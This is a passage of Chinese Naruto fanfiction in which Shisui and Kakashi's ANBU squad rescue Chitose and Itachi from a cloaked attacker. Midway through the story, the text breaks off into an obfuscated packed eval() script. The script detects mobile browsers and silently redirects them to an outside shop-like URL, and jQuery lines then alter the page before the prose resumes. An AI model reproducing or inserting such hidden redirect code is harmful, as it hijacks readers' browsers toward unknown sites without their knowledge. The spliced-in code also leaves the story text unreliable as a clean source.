千歲与鼬借着幻术残留的掩护,在密林间跌跌撞撞地奔逃,脚下的木枝被踩得噼啪作响,两人都已是强弩之末。
千歲的手臂被树枝划开的伤口阵阵刺痛,鼬则紧紧抿着唇,小小的身子虽在发抖,却始终跟在她身侧,时不时回头警惕后方。
终于冲出密林抵达山脚,视野豁然开朗,一道漆黑的暗部身影骤然从树梢跃下,周身散发着沉稳的查克拉。
暗部的身影落在面前时,千岁那根紧绷到极致的神经,终于松了一瞬,连带着被恐惧攥住的心脏,都轻轻跳了一下。
她以为这里是终点,是终于能把那口憋了很久的气,吐出来的地方。
“终于……找到了!”千歲几乎脱力,扶着膝盖大口喘息,声音因紧张而沙哑,“木叶腹地有敌国上忍潜入,目标是宇智波,我们在训练场树林遭遇了袭击,对方不止一人!”
鼬也立刻补充,语气冷静:“他们实力很强,还在林中搜寻我们,麻烦立刻支援。”
暗部成员闻言神色一凛,当即点头:“我知道了,我带你们去安全区域,卡卡西队长的小队正在附近搜查。”
话音落,他一手揽住一人的腰,查克拉灌注脚底,纵身跃向树梢,打算带着两人快速撤离。
可就在三人腾空的刹那,一股远比之前所有上忍都要强横、阴冷的查克拉如同泰山压顶般席卷而来,空气仿佛都被凝固。
前方山道尽头,一道笼罩在黑袍中的身影缓缓现身,周身的压迫感让树梢都在微微震颤,刚刚那两个上忍,与眼前的人,压根不是一个级别。
“还打算跑去哪”低沉的笑声带着刺骨的杀意,黑袍之人缓步逼近,目光锁定千歲与鼬,“两只宇智波的小崽子,总算肯露面了。”
绝境,再一次将两人包裹。
千歲下意识将鼬护在身后,刚放松的心瞬间又提到了嗓子眼。
“别怕。”身旁的暗部成员将两人往身后护了护,声音沉稳有力,带着不容置疑的坚定,“放心吧,木叶的暗部可不是吃素的,我会护着你们离开。”
他话音刚落,便义无反顾地冲了上去,苦无与查克拉刃交织,拼尽全力阻拦眼前的强敌。
可那一瞬间,
暗部成员甚至连印还没结完。
黑袍人抬手便是一记凌厉的绝杀,查克拉贯穿了暗部成员的胸膛。
鲜血溅落在枯黄的草地上,暗部成员的身躯重重倒下,最后望向两人的眼神,还残留着守护的执念。
时间仿佛在这一刻静止。
千歲怔怔地站在原地,瞳孔骤缩,浑身的血液仿佛都冻结了。
她见过训练的受伤,见过模拟的险境,却从未如此真切地目睹一个鲜活的生命,为了保护她和鼬,在眼前瞬间消逝。
是恐惧。
是无助。
是绝望。
情绪如潮水,淹没了她所有的理智与倔强,眼泪不受控制地夺眶而出,喉咙像是被堵住一般,发不出任何声音,只剩下无边无际的窒息感,狠狠攥住了她的心脏。
原来,从那座林子逃出来,并不是结束。
只是换了一个地方,继续陷入更深的绝望。
暗部的鲜血还凝在草叶上,空气里的铁锈味刺得人鼻腔发疼。
千歲与鼬双双脱力,腿一软几乎跪倒在地,方才逃跑与战斗耗尽了所有力气,连抬手的力气都所剩无几。
黑袍人缓步逼近,嘴角勾起残忍的笑意,指尖微动,数道泛着冷光的查克拉线骤然窜出,像毒蛇般缠上千岁的四肢,狠狠将她拽向身前。
金发被拉扯得凌乱,她拼命挣扎,指尖抠进泥土里,虚弱却愤怒的嘶吼冲破喉咙:“你凭什么随便杀人!火影爷爷不会放过你的!”
“吵死了。”
黑袍人眉头一皱,毫不留情地挥出一拳,重重砸在千歲脸颊。
剧痛瞬间炸开,她眼前一黑,头脑阵阵眩晕,嘴角渗出血丝,身子被查克拉线捆得动弹不得,几乎要昏厥过去。
可即便视线模糊,那双睁开的写轮眼依旧透着倔强,死死瞪着眼前的敌人,半分屈服的意思都没有。
一旁的鼬挣扎着想要冲过去,可浑身酸痛无力,刚迈开一步便踉跄着摔倒在地,只能眼睁睁看着千歲被敌人钳制,心底的焦急与无力几乎要将他吞噬。
黑袍人看着千歲不服输的模样,眼底杀意更盛,伸手朝她的眼窝探去:“倒是倔得很,与其费功夫带走,不如直接生挖了你的写轮眼,来得更快。”
黑袍人的指尖带着刺骨的冷意,距离千歲的眼窝只剩一寸,一勾玉写轮眼在他眼前转动,那点不服输的光,让他觉得格外碍眼。
“既然这么倔——”
他的手指微微弯曲,就要狠狠挖下。
就在这千钧一发的瞬间,空气突然被一道极速撕裂的风声划破。
快得只剩下一道青白色的残影,快得连查克拉波动都来不及被感知。
林间的光线仿佛被骤然截断,一道身影从天而降,如疾风过境,瞬身术在这一刻被施展到极致,连落叶都被这股迅猛的速度掀得漫天飞舞。
寒光一闪而过。
止水单手持剑,只轻轻一挥,数根紧绷的查克拉线便在同一瞬间被整齐斩断,切口干净利落,连一丝颤动都没有。
原本被狠狠拽着的千歲突然失去所有束缚,浑身脱力地向下倒去。
下一秒,一只稳定而温暖的手臂稳稳揽住她的腰侧,将她轻轻接进怀里。
力道轻柔,却带着绝对的安全感,让她那根快要崩断的神经,在这一瞬间有了落点。
金发散乱地垂在他臂弯,她虚弱地抬眼,只看见止水侧脸冷冽,眼神锐利如刃,周身散发出的气场瞬间压过了对面的黑袍人。
整个过程,不过一瞬。
前一秒是死亡逼近的绝望,后一秒便被稳稳护住。
快到黑袍人僵在原地,手还停在半空,甚至没反应过来究竟发生了什么。
被稳稳拥入怀中的刹那,属于止水的熟悉气息裹住了她,那股温和却强大的查克拉像一道坚实的屏障,隔绝了所有杀意与寒冷。
千歲紧绷到近乎断裂的神经,终于在这一刻彻底松垮下来,浑身的力气仿佛被瞬间抽干,连站立的力气都消失。
方才强撑着的所有倔强与勇敢轰然崩塌,她强忍着委屈不让自己的眼泪落下。
“千歲。”
一听到止水的声音,千歲再也忍不住自己的委屈的眼泪。
金发凌乱地黏在满是尘土与泪痕的脸颊,嘴角的血迹未干,整个人狼狈又脆弱。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309056|198746||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
在止水身边,她终于不用再硬撑,不用再强迫自己做勇敢的前辈。
止水看着怀中少女浑身伤痕、发丝凌乱的模样,想起她方才独自面对强敌的倔强,眼底掠过一丝震怒。
他抬手,用指腹轻轻拭去她脸上的泪痕,声音温和又有力量,稳稳落进她耳中:
“没事了,我来了。”
止水轻轻将千歲放下,伸手稳稳扶住她的手臂,确认她能勉强站稳后,缓缓转过身。
他抬手将护额微微推高,露出那双清澈却锐利的写轮眼,风掀起他的衣摆,周身温和的气息瞬间化作凛冽的战意,独自挡在黑袍人与两个孩子之间。
“接下来,交给我吧。”
他语气平静,却带着不容置疑的力量,指尖已握住刀柄,身影一晃便率先冲了出去。
瞬身术展开,残影叠着残影,刀光如闪电般斩向黑袍人,招式利落又迅猛,每一击都精准逼向对方要害。
前一秒还温柔安抚她的人,下一瞬已化作林间最锐的刃,瞬身术带出的风卷动落叶,刀光快得只剩一道银弧,连空气都被撕裂出轻响。
不过眨眼间,他便已逼至黑袍人身前,攻势利落得没有半分多余,每一次挥刀都精准压制住对方的反击,强大的查克拉威压稳稳笼罩战场,让那方才还不可一世的黑袍人连喘息都显得狼狈。
这一瞬间的震撼来得太过突然,千歲怔怔仰头望着那道挺拔的背影,眼底写满了难以置信的惊讶。
平日里的止水总是温和笑着,会故意揉乱她的头发,会耐心听她说话,从不会展露半分凌厉,原来他一直都将自身的实力藏得极深,此刻爆发出来的力量,远比她想象中还要强大得多。
原来真的有人,可以强大到如此从容。
原来只要他站在那里,所有的恐惧、无助与绝望,都会一点点退散。仿佛只要止水在,天塌下来都能被接住,再难的困境,也终会迎刃而解。
身旁的鼬也同样僵住,小小的身子站定在原地,漆黑的眼眸紧紧盯着止水的身影,眸中的惊讶毫不掩饰。
他本以为自己的战术与应变已算成熟,可亲眼目睹止水行云流水的战斗方式,才真切感受到对方深不可测的实力,那份从容与强大,深深烙印在了他的眼底。
就在止水准备彻底压制对方时,几道黑影骤然从树梢跃下,暗部的制服在林间格外醒目。卡卡西带队落地,帕克紧随其后,看清场中形势后,立刻挥手示意小队包抄而上,苦无与查克拉刃同时出鞘,瞬间形成合围之势。
“止水,辛苦了,剩下的交给我们。”
卡卡西的声音透过面罩传来,暗部成员默契配合,查克拉交织成封锁网,彻底断了黑袍人的退路。
以一敌众的压力瞬间席卷而来,黑袍人面色铁青,拼尽全力抵挡几轮攻势,心中清楚再缠斗下去只会被生擒。
他猛地爆发查克拉震开近身的暗部成员,借着浓烟与尘土的掩护,抓住空隙纵身跃出包围圈,几个起落便消失在密林深处。
“追!”
一名暗部成员正要动身,却被卡卡西抬手拦下。
“不必追了,对方早有退路,优先保护两个孩子,封锁周边区域。”
卡卡西望向止水,微微点头,两人目光交汇,已然达成共识。